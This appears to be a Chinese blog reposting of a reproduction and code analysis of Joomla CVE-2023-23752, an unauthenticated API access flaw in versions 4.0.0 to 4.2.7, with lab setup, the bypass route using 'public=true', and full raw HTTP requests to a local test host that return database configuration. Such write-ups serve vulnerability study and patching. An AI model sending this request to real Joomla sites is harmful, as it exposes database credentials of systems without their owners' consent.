热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Joomla未授权访问漏洞(CVE202323752)

漏洞简介​

漏洞简介

image

在 Joomla! 版本为4.0.0 到 4.2.7中发现了一个漏洞,在Joomla受影响的版本中由于对Web服务端点的访问限制不当,远程攻击者可以绕过安全限制获得Web应用程序敏感信息。

影响版本

4.0.0 <&#61; Joomla <&#61; 4.2.7

环境搭建

文件下载地址 https://downloads.joomla.org/cms/joomla4/4-2-7/Joomla_4-2-7-Stable-Full_Package.zip?format&#61;zip

利用 phpstudy 搭建漏洞环境

我们利用 phpstudy 来搭建环境&#xff0c;选择 Apache2.4.39 &#43; MySQL5.7.26&#43; php7.4.3 &#xff0c;同时利用 PhpStorm 来实现对项目的调试

image

安装完成后

前台

image

后台

image

漏洞复现

构造路由 /api/index.php/v1/config/application?public&#61;true

帮助网安学习&#xff0c;全套资料S信免费领取&#xff1a;
① 网安学习成长路径思维导图
② 60&#43;网安经典常用工具包
③ 100&#43;SRC分析报告
④ 150&#43;网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南&#43;题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集&#xff08;含答案&#xff09;
⑧ APP客户端安全检测指南&#xff08;安卓&#43;IOS&#xff09;

返回了数据库的相关信息

image

image

漏洞分析

经过调试分析发现是对 api 路径下的身份校验进行了绕过&#xff0c;默认在未登录的情况下访问 返回 {"errors":[{"title":"Forbidden"}]}

所以就针对于 api 路径下的身份校验进行具体分析

api/index.php

image

api/includes/app.php

image

\Joomla\CMS\Application\CMSApplication::execute

image

\Joomla\CMS\Application\ApiApplication::doExecute

image

其中的 $this->route();​ 对应了路由应用程序

\Joomla\CMS\Application\ApiApplication::route

image

image

$router​ 对应了 api 下所有的路由信息&#xff0c;之后调用 parseApiRoute​ 对路由进行处理

\Joomla\CMS\Router\ApiRouter::parseApiRoute

image

image

当 public 为false 时&#xff0c;是禁止外部访问的

GET /api/index.php/v1/config/application HTTP/1.1
Host: joomla.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml&#43;xml,application/xml;q&#61;0.9,image/avif,image/webp,image/apng,*/*;q&#61;0.8,application/signed-exchange;v&#61;b3;q&#61;0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q&#61;0.9
COOKIE:XDEBUG_SESSION&#61;PHPSTORM
Connection: close

image

但是通过路径传入的值在之后可以覆盖替换原本的值

image

GET /api/index.php/v1/config/application?public&#61;true HTTP/1.1
Host: joomla.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml&#43;xml,application/xml;q&#61;0.9,image/avif,image/webp,image/apng,*/*;q&#61;0.8,application/signed-exchange;v&#61;b3;q&#61;0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q&#61;0.9
COOKIE:XDEBUG_SESSION&#61;PHPSTORM
Connection: close

image


推荐阅读
  • 向QTextEdit拖放文件的方法及实现步骤
    本文介绍了在使用QTextEdit时如何实现拖放文件的功能,包括相关的方法和实现步骤。通过重写dragEnterEvent和dropEvent函数,并结合QMimeData和QUrl等类,可以轻松实现向QTextEdit拖放文件的功能。详细的代码实现和说明可以参考本文提供的示例代码。 ... [详细]
  • 如何自行分析定位SAP BSP错误
    The“BSPtag”Imentionedintheblogtitlemeansforexamplethetagchtmlb:configCelleratorbelowwhichi ... [详细]
  • VScode格式化文档换行或不换行的设置方法
    本文介绍了在VScode中设置格式化文档换行或不换行的方法,包括使用插件和修改settings.json文件的内容。详细步骤为:找到settings.json文件,将其中的代码替换为指定的代码。 ... [详细]
  • 搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的详细步骤
    本文详细介绍了搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的步骤,包括环境说明、相关软件下载的地址以及所需的插件下载地址。 ... [详细]
  • 这是原文链接:sendingformdata许多情况下,我们使用表单发送数据到服务器。服务器处理数据并返回响应给用户。这看起来很简单,但是 ... [详细]
  • 本文讨论了在Windows 8上安装gvim中插件时出现的错误加载问题。作者将EasyMotion插件放在了正确的位置,但加载时却出现了错误。作者提供了下载链接和之前放置插件的位置,并列出了出现的错误信息。 ... [详细]
  • CSS3选择器的使用方法详解,提高Web开发效率和精准度
    本文详细介绍了CSS3新增的选择器方法,包括属性选择器的使用。通过CSS3选择器,可以提高Web开发的效率和精准度,使得查找元素更加方便和快捷。同时,本文还对属性选择器的各种用法进行了详细解释,并给出了相应的代码示例。通过学习本文,读者可以更好地掌握CSS3选择器的使用方法,提升自己的Web开发能力。 ... [详细]
  • 本文介绍了九度OnlineJudge中的1002题目“Grading”的解决方法。该题目要求设计一个公平的评分过程,将每个考题分配给3个独立的专家,如果他们的评分不一致,则需要请一位裁判做出最终决定。文章详细描述了评分规则,并给出了解决该问题的程序。 ... [详细]
  • 本文主要解析了Open judge C16H问题中涉及到的Magical Balls的快速幂和逆元算法,并给出了问题的解析和解决方法。详细介绍了问题的背景和规则,并给出了相应的算法解析和实现步骤。通过本文的解析,读者可以更好地理解和解决Open judge C16H问题中的Magical Balls部分。 ... [详细]
  • ZSI.generate.Wsdl2PythonError: unsupported local simpleType restriction ... [详细]
  • 本文介绍了P1651题目的描述和要求,以及计算能搭建的塔的最大高度的方法。通过动态规划和状压技术,将问题转化为求解差值的问题,并定义了相应的状态。最终得出了计算最大高度的解法。 ... [详细]
  • http:my.oschina.netleejun2005blog136820刚看到群里又有同学在说HTTP协议下的Get请求参数长度是有大小限制的,最大不能超过XX ... [详细]
  • 本文介绍了Web学习历程记录中关于Tomcat的基本概念和配置。首先解释了Web静态Web资源和动态Web资源的概念,以及C/S架构和B/S架构的区别。然后介绍了常见的Web服务器,包括Weblogic、WebSphere和Tomcat。接着详细讲解了Tomcat的虚拟主机、web应用和虚拟路径映射的概念和配置过程。最后简要介绍了http协议的作用。本文内容详实,适合初学者了解Tomcat的基础知识。 ... [详细]
  • 本文由编程笔记#小编为大家整理,主要介绍了logistic回归(线性和非线性)相关的知识,包括线性logistic回归的代码和数据集的分布情况。希望对你有一定的参考价值。 ... [详细]
  • 本文介绍了设计师伊振华受邀参与沈阳市智慧城市运行管理中心项目的整体设计,并以数字赋能和创新驱动高质量发展的理念,建设了集成、智慧、高效的一体化城市综合管理平台,促进了城市的数字化转型。该中心被称为当代城市的智能心脏,为沈阳市的智慧城市建设做出了重要贡献。 ... [详细]
author-avatar
东明街道老年日托
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有